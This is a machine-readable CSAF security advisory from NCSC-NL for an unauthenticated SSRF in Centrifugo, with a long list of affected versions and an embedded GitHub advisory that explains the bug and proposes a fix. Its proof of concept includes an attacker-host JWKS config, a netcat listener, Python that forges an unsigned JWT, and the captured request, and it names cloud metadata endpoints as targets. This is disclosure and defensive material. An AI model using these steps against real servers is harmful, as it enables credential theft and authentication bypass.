{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-32301", "tracking": { "current_release_date": "2026-03-27T00:15:19.746142Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-32301", "initial_release_date": "2026-03-12T21:38:35.276504Z", "revision_history": [ { "date": "2026-03-12T21:38:35.276504Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (1).| CWES updated (1)." }, { "date": "2026-03-12T21:38:44.374854Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-03-13T14:13:31.854793Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-13T14:13:33.386980Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-03-13T14:38:44.625541Z", "number": "5", "summary": "Unknown change." }, { "date": "2026-03-13T20:32:07.492219Z", "number": "6", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)." }, { "date": "2026-03-13T20:32:14.598590Z", "number": "7", "summary": "NCSC Score updated." }, { "date": "2026-03-13T21:12:45.477998Z", "number": "8", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-03-16T17:45:19.588582Z", "number": "9", "summary": "References created (1)." }, { "date": "2026-03-18T18:25:35.324291Z", "number": "10", "summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)." }, { "date": "2026-03-18T18:25:43.924094Z", "number": "11", "summary": "NCSC Score updated." }, { "date": "2026-03-19T15:28:43.347016Z", "number": "12", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)." }, { "date": "2026-03-19T15:28:46.200140Z", "number": "13", "summary": "NCSC Score updated." }, { "date": "2026-03-20T09:31:11.894448Z", "number": "14", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-20T09:31:14.545534Z", "number": "15", "summary": "NCSC Score updated." }, { "date": "2026-03-27T00:10:51.451676Z", "number": "16", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (135).| References created (3).| CWES updated (1)." }, { "date": "2026-03-27T00:11:16.486110Z", "number": "17", "summary": "NCSC Score updated." }, { "date": "2026-03-27T00:13:29.196187Z", "number": "18", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (2).| CWES updated (1)." }, { "date": "2026-03-27T00:14:06.093104Z", "number": "19", "summary": "Source created.| CVE status created. (valid)| Description created for source.| References created (2)." } ], "status": "interim", "version": "19" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<6.7.0", "product": { "name": "vers:unknown/<6.7.0", "product_id": "CSAFPID-5810822", "product_identification_helper": { "cpe": "cpe:2.3:a:centrifugal:centrifugo:*:*:*:*:*:*:*:*" } } }, { "category": "product_version_range", "name": "vers:unknown/>=0|<6.7.0", "product": { "name": "vers:unknown/>=0|<6.7.0", "product_id": "CSAFPID-5920143" } }, { "category": "product_version_range", "name": "vers:unknown/v0.1.0", "product": { "name": "vers:unknown/v0.1.0", "product_id": "CSAFPID-5919977" } }, { "category": "product_version_range", "name": "vers:unknown/v0.1.1", "product": { "name": "vers:unknown/v0.1.1", "product_id": "CSAFPID-5919978" } }, { "category": "product_version_range", "name": "vers:unknown/v0.2.0", "product": { "name": "vers:unknown/v0.2.0", "product_id": "CSAFPID-5919979" } }, { "category": "product_version_range", "name": "vers:unknown/v0.2.1", "product": { "name": "vers:unknown/v0.2.1", "product_id": "CSAFPID-5919980" } }, { "category": "product_version_range", "name": "vers:unknown/v0.2.2", "product": { "name": "vers:unknown/v0.2.2", "product_id": "CSAFPID-5919981" } }, { "category": "product_version_range", "name": "vers:unknown/v0.2.3", "product": { "name": "vers:unknown/v0.2.3", "product_id": "CSAFPID-5919982" } }, { "category": "product_version_range", "name": "vers:unknown/v0.2.4", "product": { "name": "vers:unknown/v0.2.4", "product_id": "CSAFPID-5919983" } }, { "category": "product_version_range", "name": "vers:unknown/v0.3.0", "product": { "name": "vers:unknown/v0.3.0", "product_id": "CSAFPID-5919984" } }, { "category": "product_version_range", "name": "vers:unknown/v1.0.0", "product": { "name": "vers:unknown/v1.0.0", "product_id": "CSAFPID-5919985" } }, { "category": "product_version_range", "name": "vers:unknown/v1.1.0", "product": { "name": "vers:unknown/v1.1.0", "product_id": "CSAFPID-5919986" } }, { "category": "product_version_range", "name": "vers:unknown/v1.2.0", "product": { "name": "vers:unknown/v1.2.0", "product_id": "CSAFPID-5919987" } }, { "category": "product_version_range", "name": "vers:unknown/v1.3.0", "product": { "name": "vers:unknown/v1.3.0", "product_id": "CSAFPID-5919988" } }, { "category": "product_version_range", "name": "vers:unknown/v1.3.1", "product": { "name": "vers:unknown/v1.3.1", "product_id": "CSAFPID-5919989" } }, { "category": "product_version_range", "name": "vers:unknown/v1.3.2", "product": { "name": "vers:unknown/v1.3.2", "product_id": "CSAFPID-5919990" } }, { "category": "product_version_range", "name": "vers:unknown/v1.3.3", "product": { "name": "vers:unknown/v1.3.3", "product_id": "CSAFPID-5919991" } }, { "category": "product_version_range", "name": "vers:unknown/v1.4.0", "product": { "name": "vers:unknown/v1.4.0", "product_id": "CSAFPID-5919992" } }, { "category": "product_version_range", "name": "vers:unknown/v1.4.1", "product": { "name": "vers:unknown/v1.4.1", "product_id": "CSAFPID-5919993" } }, { "category": "product_version_range", "name": "vers:unknown/v1.4.2", "product": { "name": "vers:unknown/v1.4.2", "product_id": "CSAFPID-5919994" } }, { "category": "product_version_range", "name": "vers:unknown/v1.4.3", "product": { "name": "vers:unknown/v1.4.3", "product_id": "CSAFPID-5919995" } }, { "category": "product_version_range", "name": "vers:unknown/v1.4.4", "product": { "name": "vers:unknown/v1.4.4", "product_id": "CSAFPID-5919996" } }, { "category": "product_version_range", "name": "vers:unknown/v1.4.5", "product": { "name": "vers:unknown/v1.4.5", "product_id": "CSAFPID-5919997" } }, { "category": "product_version_range", "name": "vers:unknown/v1.5.0", "product": { "name": "vers:unknown/v1.5.0", "product_id": "CSAFPID-5919998" } }, { "category": "product_version_range", "name": "vers:unknown/v1.5.1", "product": { "name": "vers:unknown/v1.5.1", "product_id": "CSAFPID-5919999" } }, { "category": "product_version_range", "name": "vers:unknown/v1.6.0", "product": { "name": "vers:unknown/v1.6.0", "product_id": "CSAFPID-5920000" } }, { "category": "product_version_range", "name": "vers:unknown/v1.6.1", "product": { "name": "vers:unknown/v1.6.1", "product_id": "CSAFPID-5920001" } }, { "category": "product_version_range", "name": "vers:unknown/v1.6.2", "product": { "name": "vers:unknown/v1.6.2", "product_id": "CSAFPID-5920002" } }, { "category": "product_version_range", "name": "vers:unknown/v1.6.3", "product": { "name": "vers:unknown/v1.6.3", "product_id": "CSAFPID-5920003" } }, { "category": "product_version_range", "name": "vers:unknown/v1.6.4", "product": { "name": "vers:unknown/v1.6.4", "product_id": "CSAFPID-5920004" } }, { "category": "product_version_range", "name": "vers:unknown/v1.6.5", "product": { "name": "vers:unknown/v1.6.5", "product_id": "CSAFPID-5920005" } }, { "category": "product_version_range", "name": "vers:unknown/v1.7.0", "product": { "name": "vers:unknown/v1.7.0", "product_id": "CSAFPID-5920006" } }, { "category": "product_version_range", "name": "vers:unknown/v1.7.1", "product": { "name": "vers:unknown/v1.7.1", "product_id": "CSAFPID-5920007" } }, { "category": "product_version_range", "name": "vers:unknown/v1.7.2", "product": { "name": "vers:unknown/v1.7.2", "product_id": "CSAFPID-5920008" } }, { "category": "product_version_range", "name": "vers:unknown/v1.7.3", "product": { "name": "vers:unknown/v1.7.3", "product_id": "CSAFPID-5920009" } }, { "category": "product_version_range", "name": "vers:unknown/v1.7.4", "product": { "name": "vers:unknown/v1.7.4", "product_id": "CSAFPID-5920010" } }, { "category": "product_version_range", "name": "vers:unknown/v1.7.5", "product": { "name": "vers:unknown/v1.7.5", "product_id": "CSAFPID-5920011" } }, { "category": "product_version_range", "name": "vers:unknown/v1.7.6", "product": { "name": "vers:unknown/v1.7.6", "product_id": "CSAFPID-5920012" } }, { "category": "product_version_range", "name": "vers:unknown/v1.7.7", "product": { "name": "vers:unknown/v1.7.7", "product_id": "CSAFPID-5920013" } }, { "category": "product_version_range", "name": "vers:unknown/v1.7.8", "product": { "name": "vers:unknown/v1.7.8", "product_id": "CSAFPID-5920014" } }, { "category": "product_version_range", "name": "vers:unknown/v1.7.9", "product": { "name": "vers:unknown/v1.7.9", "product_id": "CSAFPID-5920015" } }, { "category": "product_version_range", "name": "vers:unknown/v1.8.0", "product": { "name": "vers:unknown/v1.8.0", "product_id": "CSAFPID-5920016" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0", "product": { "name": "vers:unknown/v2.0.0", "product_id": "CSAFPID-5920017" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.1", "product": { "name": "vers:unknown/v2.0.1", "product_id": "CSAFPID-5920018" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.2", "product": { "name": "vers:unknown/v2.0.2", "product_id": "CSAFPID-5920019" } }, { "category": "product_version_range", "name": "vers:unknown/v2.1.0", "product": { "name": "vers:unknown/v2.1.0", "product_id": "CSAFPID-5920020" } }, { "category": "product_version_range", "name": "vers:unknown/v2.2.0", "product": { "name": "vers:unknown/v2.2.0", "product_id": "CSAFPID-5920021" } }, { "category": "product_version_range", "name": "vers:unknown/v2.2.1", "product": { "name": "vers:unknown/v2.2.1", "product_id": "CSAFPID-5920022" } }, { "category": "product_version_range", "name": "vers:unknown/v2.2.2", "product": { "name": "vers:unknown/v2.2.2", "product_id": "CSAFPID-5920023" } }, { "category": "product_version_range", "name": "vers:unknown/v2.2.3", "product": { "name": "vers:unknown/v2.2.3", "product_id": "CSAFPID-5920024" } }, { "category": "product_version_range", "name": "vers:unknown/v2.2.4", "product": { "name": "vers:unknown/v2.2.4", "product_id": "CSAFPID-5920025" } }, { "category": "product_version_range", "name": "vers:unknown/v2.2.5", "product": { "name": "vers:unknown/v2.2.5", "product_id": "CSAFPID-5920026" } }, { "category": "product_version_range", "name": "vers:unknown/v2.2.6", "product": { "name": "vers:unknown/v2.2.6", "product_id": "CSAFPID-5920027" } }, { "category": "product_version_range", "name": "vers:unknown/v2.2.7", "product": { "name": "vers:unknown/v2.2.7", "product_id": "CSAFPID-5920028" } }, { "category": "product_version_range", "name": "vers:unknown/v2.3.0", "product": { "name": "vers:unknown/v2.3.0", "product_id": "CSAFPID-5920029" } }, { "category": "product_version_range", "name": "vers:unknown/v2.3.1", "product": { "name": "vers:unknown/v2.3.1", "product_id": "CSAFPID-5920030" } }, { "category": "product_version_range", "name": "vers:unknown/v2.4.0", "product": { "name": "vers:unknown/v2.4.0", "product_id": "CSAFPID-5920031" } }, { "category": "product_version_range", "name": "vers:unknown/v2.5.0", "product": { "name": "vers:unknown/v2.5.0", "product_id": "CSAFPID-5920032" } }, { "category": "product_version_range", "name": "vers:unknown/v2.5.1", "product": { "name": "vers:unknown/v2.5.1", "product_id": "CSAFPID-5920033" } }, { "category": "product_version_range", "name": "vers:unknown/v2.6.0", "product": { "name": "vers:unknown/v2.6.0", "product_id": "CSAFPID-5920034" } }, { "category": "product_version_range", "name": "vers:unknown/v2.6.1", "product": { "name": "vers:unknown/v2.6.1", "product_id": "CSAFPID-5920035" } }, { "category": "product_version_range", "name": "vers:unknown/v2.6.2", "product": { "name": "vers:unknown/v2.6.2", "product_id": "CSAFPID-5920036" } }, { "category": "product_version_range", "name": "vers:unknown/v2.7.0", "product": { "name": "vers:unknown/v2.7.0", "product_id": "CSAFPID-5920037" } }, { "category": "product_version_range", "name": "vers:unknown/v2.7.1", "product": { "name": "vers:unknown/v2.7.1", "product_id": "CSAFPID-5920038" } }, { "category": "product_version_range", "name": "vers:unknown/v2.7.2", "product": { "name": "vers:unknown/v2.7.2", "product_id": "CSAFPID-5920039" } }, { "category": "product_version_range", "name": "vers:unknown/v2.8.0", "product": { "name": "vers:unknown/v2.8.0", "product_id": "CSAFPID-5920040" } }, { "category": "product_version_range", "name": "vers:unknown/v2.8.1", "product": { "name": "vers:unknown/v2.8.1", "product_id": "CSAFPID-5920041" } }, { "category": "product_version_range", "name": "vers:unknown/v2.8.2", "product": { "name": "vers:unknown/v2.8.2", "product_id": "CSAFPID-5920042" } }, { "category": "product_version_range", "name": "vers:unknown/v2.8.3", "product": { "name": "vers:unknown/v2.8.3", "product_id": "CSAFPID-5920043" } }, { "category": "product_version_range", "name": "vers:unknown/v2.8.4", "product": { "name": "vers:unknown/v2.8.4", "product_id": "CSAFPID-5920044" } }, { "category": "product_version_range", "name": "vers:unknown/v2.8.5", "product": { "name": "vers:unknown/v2.8.5", "product_id": "CSAFPID-5920045" } }, { "category": "product_version_range", "name": "vers:unknown/v2.8.6", "product": { "name": "vers:unknown/v2.8.6", "product_id": "CSAFPID-5920046" } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.0", "product": { "name": "vers:unknown/v3.0.0", "product_id": "CSAFPID-5920047" } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.1", "product": { "name": "vers:unknown/v3.0.1", "product_id": "CSAFPID-5920048" } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.2", "product": { "name": "vers:unknown/v3.0.2", "product_id": "CSAFPID-5920049" } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.3", "product": { "name": "vers:unknown/v3.0.3", "product_id": "CSAFPID-5920050" } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.4", "product": { "name": "vers:unknown/v3.0.4", "product_id": "CSAFPID-5920051" } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.5", "product": { "name": "vers:unknown/v3.0.5", "product_id": "CSAFPID-5920052" } }, { "category": "product_version_range", "name": "vers:unknown/v3.1.0", "product": { "name": "vers:unknown/v3.1.0", "product_id": "CSAFPID-5920053" } }, { "category": "product_version_range", "name": "vers:unknown/v3.1.1", "product": { "name": "vers:unknown/v3.1.1", "product_id": "CSAFPID-5920054" } }, { "category": "product_version_range", "name": "vers:unknown/v3.2.0", "product": { "name": "vers:unknown/v3.2.0", "product_id": "CSAFPID-5920055" } }, { "category": "product_version_range", "name": "vers:unknown/v3.2.1", "product": { "name": "vers:unknown/v3.2.1", "product_id": "CSAFPID-5920056" } }, { "category": "product_version_range", "name": "vers:unknown/v3.2.2", "product": { "name": "vers:unknown/v3.2.2", "product_id": "CSAFPID-5920057" } }, { "category": "product_version_range", "name": "vers:unknown/v3.2.3", "product": { "name": "vers:unknown/v3.2.3", "product_id": "CSAFPID-5920058" } }, { "category": "product_version_range", "name": "vers:unknown/v4.0.0", "product": { "name": "vers:unknown/v4.0.0", "product_id": "CSAFPID-5920059" } }, { "category": "product_version_range", "name": "vers:unknown/v4.0.1", "product": { "name": "vers:unknown/v4.0.1", "product_id": "CSAFPID-5920060" } }, { "category": "product_version_range", "name": "vers:unknown/v4.0.2", "product": { "name": "vers:unknown/v4.0.2", "product_id": "CSAFPID-5920061" } }, { "category": "product_version_range", "name": "vers:unknown/v4.0.3", "product": { "name": "vers:unknown/v4.0.3", "product_id": "CSAFPID-5920062" } }, { "category": "product_version_range", "name": "vers:unknown/v4.0.4", "product": { "name": "vers:unknown/v4.0.4", "product_id": "CSAFPID-5920063" } }, { "category": "product_version_range", "name": "vers:unknown/v4.1.0", "product": { "name": "vers:unknown/v4.1.0", "product_id": "CSAFPID-5920064" } }, { "category": "product_version_range", "name": "vers:unknown/v4.1.1", "product": { "name": "vers:unknown/v4.1.1", "product_id": "CSAFPID-5920065" } }, { "category": "product_version_range", "name": "vers:unknown/v4.1.2", "product": { "name": "vers:unknown/v4.1.2", "product_id": "CSAFPID-5920066" } }, { "category": "product_version_range", "name": "vers:unknown/v4.1.3", "product": { "name": "vers:unknown/v4.1.3", "product_id": "CSAFPID-5920067" } }, { "category": "product_version_range", "name": "vers:unknown/v5.0.0", "product": { "name": "vers:unknown/v5.0.0", "product_id": "CSAFPID-5920068" } }, { "category": "product_version_range", "name": "vers:unknown/v5.0.1", "product": { "name": "vers:unknown/v5.0.1", "product_id": "CSAFPID-5920069" } }, { "category": "product_version_range", "name": "vers:unknown/v5.0.2", "product": { "name": "vers:unknown/v5.0.2", "product_id": "CSAFPID-5920070" } }, { "category": "product_version_range", "name": "vers:unknown/v5.0.3", "product": { "name": "vers:unknown/v5.0.3", "product_id": "CSAFPID-5920071" } }, { "category": "product_version_range", "name": "vers:unknown/v5.0.4", "product": { "name": "vers:unknown/v5.0.4", "product_id": "CSAFPID-5920072" } }, { "category": "product_version_range", "name": "vers:unknown/v5.1.0", "product": { "name": "vers:unknown/v5.1.0", "product_id": "CSAFPID-5920073" } }, { "category": "product_version_range", "name": "vers:unknown/v5.1.1", "product": { "name": "vers:unknown/v5.1.1", "product_id": "CSAFPID-5920074" } }, { "category": "product_version_range", "name": "vers:unknown/v5.1.2", "product": { "name": "vers:unknown/v5.1.2", "product_id": "CSAFPID-5920075" } }, { "category": "product_version_range", "name": "vers:unknown/v5.2.0", "product": { "name": "vers:unknown/v5.2.0", "product_id": "CSAFPID-5920076" } }, { "category": "product_version_range", "name": "vers:unknown/v5.2.1", "product": { "name": "vers:unknown/v5.2.1", "product_id": "CSAFPID-5920077" } }, { "category": "product_version_range", "name": "vers:unknown/v5.2.2", "product": { "name": "vers:unknown/v5.2.2", "product_id": "CSAFPID-5920078" } }, { "category": "product_version_range", "name": "vers:unknown/v5.3.0", "product": { "name": "vers:unknown/v5.3.0", "product_id": "CSAFPID-5920079" } }, { "category": "product_version_range", "name": "vers:unknown/v5.3.1", "product": { "name": "vers:unknown/v5.3.1", "product_id": "CSAFPID-5920080" } }, { "category": "product_version_range", "name": "vers:unknown/v5.3.2", "product": { "name": "vers:unknown/v5.3.2", "product_id": "CSAFPID-5920081" } }, { "category": "product_version_range", "name": "vers:unknown/v5.4.0", "product": { "name": "vers:unknown/v5.4.0", "product_id": "CSAFPID-5920082" } }, { "category": "product_version_range", "name": "vers:unknown/v5.4.1", "product": { "name": "vers:unknown/v5.4.1", "product_id": "CSAFPID-5920083" } }, { "category": "product_version_range", "name": "vers:unknown/v5.4.2", "product": { "name": "vers:unknown/v5.4.2", "product_id": "CSAFPID-5920084" } }, { "category": "product_version_range", "name": "vers:unknown/v5.4.3", "product": { "name": "vers:unknown/v5.4.3", "product_id": "CSAFPID-5920085" } }, { "category": "product_version_range", "name": "vers:unknown/v5.4.4", "product": { "name": "vers:unknown/v5.4.4", "product_id": "CSAFPID-5920086" } }, { "category": "product_version_range", "name": "vers:unknown/v5.4.5", "product": { "name": "vers:unknown/v5.4.5", "product_id": "CSAFPID-5920087" } }, { "category": "product_version_range", "name": "vers:unknown/v5.4.6", "product": { "name": "vers:unknown/v5.4.6", "product_id": "CSAFPID-5920088" } }, { "category": "product_version_range", "name": "vers:unknown/v5.4.7", "product": { "name": "vers:unknown/v5.4.7", "product_id": "CSAFPID-5920089" } }, { "category": "product_version_range", "name": "vers:unknown/v5.4.8", "product": { "name": "vers:unknown/v5.4.8", "product_id": "CSAFPID-5920090" } }, { "category": "product_version_range", "name": "vers:unknown/v5.4.9", "product": { "name": "vers:unknown/v5.4.9", "product_id": "CSAFPID-5920091" } }, { "category": "product_version_range", "name": "vers:unknown/v6.0.0", "product": { "name": "vers:unknown/v6.0.0", "product_id": "CSAFPID-5920092" } }, { "category": "product_version_range", "name": "vers:unknown/v6.0.1", "product": { "name": "vers:unknown/v6.0.1", "product_id": "CSAFPID-5920093" } }, { "category": "product_version_range", "name": "vers:unknown/v6.0.2", "product": { "name": "vers:unknown/v6.0.2", "product_id": "CSAFPID-5920094" } }, { "category": "product_version_range", "name": "vers:unknown/v6.0.3", "product": { "name": "vers:unknown/v6.0.3", "product_id": "CSAFPID-5920095" } }, { "category": "product_version_range", "name": "vers:unknown/v6.1.0", "product": { "name": "vers:unknown/v6.1.0", "product_id": "CSAFPID-5920096" } }, { "category": "product_version_range", "name": "vers:unknown/v6.2.0", "product": { "name": "vers:unknown/v6.2.0", "product_id": "CSAFPID-5920097" } }, { "category": "product_version_range", "name": "vers:unknown/v6.2.1", "product": { "name": "vers:unknown/v6.2.1", "product_id": "CSAFPID-5920098" } }, { "category": "product_version_range", "name": "vers:unknown/v6.2.2", "product": { "name": "vers:unknown/v6.2.2", "product_id": "CSAFPID-5920099" } }, { "category": "product_version_range", "name": "vers:unknown/v6.2.3", "product": { "name": "vers:unknown/v6.2.3", "product_id": "CSAFPID-5920100" } }, { "category": "product_version_range", "name": "vers:unknown/v6.2.4", "product": { "name": "vers:unknown/v6.2.4", "product_id": "CSAFPID-5920101" } }, { "category": "product_version_range", "name": "vers:unknown/v6.2.5", "product": { "name": "vers:unknown/v6.2.5", "product_id": "CSAFPID-5920102" } }, { "category": "product_version_range", "name": "vers:unknown/v6.3.0", "product": { "name": "vers:unknown/v6.3.0", "product_id": "CSAFPID-5920103" } }, { "category": "product_version_range", "name": "vers:unknown/v6.3.1", "product": { "name": "vers:unknown/v6.3.1", "product_id": "CSAFPID-5920104" } }, { "category": "product_version_range", "name": "vers:unknown/v6.4.0", "product": { "name": "vers:unknown/v6.4.0", "product_id": "CSAFPID-5920105" } }, { "category": "product_version_range", "name": "vers:unknown/v6.5.0", "product": { "name": "vers:unknown/v6.5.0", "product_id": "CSAFPID-5920106" } }, { "category": "product_version_range", "name": "vers:unknown/v6.5.1", "product": { "name": "vers:unknown/v6.5.1", "product_id": "CSAFPID-5920107" } }, { "category": "product_version_range", "name": "vers:unknown/v6.5.2", "product": { "name": "vers:unknown/v6.5.2", "product_id": "CSAFPID-5920108" } }, { "category": "product_version_range", "name": "vers:unknown/v6.6.0", "product": { "name": "vers:unknown/v6.6.0", "product_id": "CSAFPID-5920109" } }, { "category": "product_version_range", "name": "vers:unknown/v6.6.1", "product": { "name": "vers:unknown/v6.6.1", "product_id": "CSAFPID-5920110" } }, { "category": "product_version_range", "name": "vers:unknown/v6.6.2", "product": { "name": "vers:unknown/v6.6.2", "product_id": "CSAFPID-5920111" } } ], "category": "product_name", "name": "centrifugo" } ], "category": "vendor", "name": "centrifugal" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-32301", "cwe": { "id": "CWE-918", "name": "Server-Side Request Forgery (SSRF)" }, "notes": [ { "category": "description", "text": "Centrifugo is an open-source scalable real-time messaging server. Prior to 6.7.0, Centrifugo is vulnerable to Server-Side Request Forgery (SSRF) when configured with a dynamic JWKS endpoint URL using template variables (e.g. {{tenant}}). An unauthenticated attacker can craft a JWT with a malicious iss or aud claim value that gets interpolated into the JWKS fetch URL before the token signature is verified, causing Centrifugo to make an outbound HTTP request to an attacker-controlled destination. This vulnerability is fixed in 6.7.0.", "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-32301" }, { "category": "description", "text": "Centrifugo is an open-source scalable real-time messaging server. Prior to 6.7.0, Centrifugo is vulnerable to Server-Side Request Forgery (SSRF) when configured with a dynamic JWKS endpoint URL using template variables (e.g. {{tenant}}). An unauthenticated attacker can craft a JWT with a malicious iss or aud claim value that gets interpolated into the JWKS fetch URL before the token signature is verified, causing Centrifugo to make an outbound HTTP request to an attacker-controlled destination. This vulnerability is fixed in 6.7.0.", "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-32301" }, { "category": "description", "text": "### Summary\nCentrifugo is vulnerable to Server-Side Request Forgery (SSRF) when configured with a dynamic JWKS endpoint URL using template variables (e.g. `{{tenant}}`). An unauthenticated attacker can craft a JWT with a malicious `iss` or `aud` claim value that gets interpolated into the JWKS fetch URL **before the token signature is verified**, causing Centrifugo to make an outbound HTTP request to an attacker-controlled destination.\n\n### Details\nIn `internal/jwtverify/token_verifier_jwt.go`, the functions `VerifyConnectToken` and `VerifySubscribeToken` follow this flawed order of operations:\n1. Token is parsed without verification: `jwt.ParseNoVerify([]byte(t))`\n2. Claims are decoded from the unverified token\n3. `validateClaims()` runs — extracting named regex capture groups from \n `issuer_regex`/`audience_regex` into `tokenVars` map using attacker-controlled \n `iss`/`aud` claim values\n4. `verifySignatureByJWK(token, tokenVars)` is called — passing attacker-controlled \n `tokenVars` to the JWKS manager\n5. In `internal/jwks/manager.go`, `fetchKey()` interpolates `tokenVars` directly \n into the JWKS URL:\n `jwkURL := m.url.ExecuteString(tokenVars)`\n6. Centrifugo makes an HTTP GET request to the attacker-controlled URL\n\nSuppressed the security linter on this line with an incorrect comment:\n`//nolint:gosec // URL is from server configuration, not user input.`\nThe URL is NOT purely from server configuration — it is partially constructed from unverified user-supplied JWT claims.\n\nSignature verification happens too late — after the SSRF has already fired.\n\n### PoC\n**Required config** (`config.json`):\n```json\n{\n \"client\": {\n \"token\": {\n \"jwks_public_endpoint\": \"http://ATTACKER_HOST:8888/{{tenant}}/.well-known/jwks.json\",\n \"issuer_regex\": \"^(?P[a-zA-Z0-9_-]+)\\\\.auth\\\\.example\\\\.com$\"\n }\n },\n \"http_api\": { \"key\": \"test-api-key\" }\n}\n```\n\n**Step 1** — Start listener on attacker machine:\n```\nnc -lvnp 8888\n```\n\n**Step 2** — Generate malicious unsigned JWT:\n```python\nimport base64, json\n\ndef b64url(data):\n return base64.urlsafe_b64encode(data).rstrip(b'=').decode()\n\nheader = b'{\"alg\":\"RS256\",\"kid\":\"test-kid\",\"typ\":\"JWT\"}'\npayload = b'{\"sub\":\"attacker\",\"iss\":\"evil-tenant.auth.example.com\",\"exp\":9999999999}'\ntoken = f\"{b64url(header)}.{b64url(payload)}.fakesig\"\nprint(token)\n```\n\n**Step 3** — Connect to Centrifugo WebSocket with the malicious token:\n```python\nimport websocket, json\nws = websocket.create_connection(\"ws://TARGET:8000/connection/websocket\")\nws.send(json.dumps({\"id\": 1, \"connect\": {\"token\": \"\"}}))\nprint(ws.recv())\n```\n\n**Step 4** — Observe incoming HTTP request on attacker listener:\n```\nGET /evil-tenant/.well-known/jwks.json HTTP/1.1\nHost: ATTACKER_HOST:8888\nUser-Agent: Go-http-client/1.1\n```\n\nMalicious token being crafted with suppress_origin=True bypassing the 403, and the token sent to Centrifugo:\n![1](https://github.com/user-attachments/assets/6fd5d5b8-f47a-4899-94db-931f52504808)\n\nCentrifugo Server Log:\n![2](https://github.com/user-attachments/assets/2e802648-8dc9-40d7-ac9e-f5f2ca19acad)\n\nnetcat terminal:\n![3](https://github.com/user-attachments/assets/854cfb19-ed0c-44e2-977a-efe2f9b6c50a)\n\n### Impact\n- **Unauthenticated SSRF** — No valid credentials required\n- Attacker can probe and access internal network services not exposed externally\n- On cloud deployments: access to metadata endpoints (AWS: `169.254.169.254`, GCP: `metadata.google.internal`) to steal IAM credentials\n- Attacker can serve a malicious JWKS response containing their own public key, causing Centrifugo to accept attacker-signed tokens as legitimate — leading to **full authentication bypass**\n- Exploitation requires `jwks_public_endpoint` to contain `{{...}}` template variables combined with `issuer_regex` or `audience_regex` — a configuration pattern explicitly documented and promoted by Centrifugo\n \n### Suggested Fix\n\n**1. Verify signature BEFORE extracting tokenVars (critical fix):**\nIn `token_verifier_jwt.go`, swap the order of operations:\n```go\n// CURRENT (vulnerable) order:\n// 1. ParseNoVerify\n// 2. validateClaims() → populates tokenVars from unverified claims\n// 3. verifySignature(token, tokenVars) ← too late\n\n// FIXED order:\n// 1. ParseNoVerify\n// 2. verifySignature(token) ← verify first with empty/nil tokenVars\n// 3. validateClaims() → only now extract tokenVars from verified claims\n// 4. If JWKS needed, re-verify with tokenVars using verified kid only\n```\n\n**2. Fix the incorrect nolint comment in `manager.go`:**\nRemove `//nolint:gosec // URL is from server configuration, not user input` The URL IS partially constructed from user input via JWT claims.\n\n**3. Alternative mitigation:**\nRestrict template variables to only the `kid` header field (which is not claim data) rather than allowing arbitrary claim values to influence the JWKS URL.\n```", "title": "github - https://github.com/advisories/GHSA-j77h-rr39-c552" }, { "category": "description", "text": "### Summary\nCentrifugo is vulnerable to Server-Side Request Forgery (SSRF) when configured with a dynamic JWKS endpoint URL using template variables (e.g. `{{tenant}}`). An unauthenticated attacker can craft a JWT with a malicious `iss` or `aud` claim value that gets interpolated into the JWKS fetch URL **before the token signature is verified**, causing Centrifugo to make an outbound HTTP request to an attacker-controlled destination.\n\n### Details\nIn `internal/jwtverify/token_verifier_jwt.go`, the functions `VerifyConnectToken` and `VerifySubscribeToken` follow this flawed order of 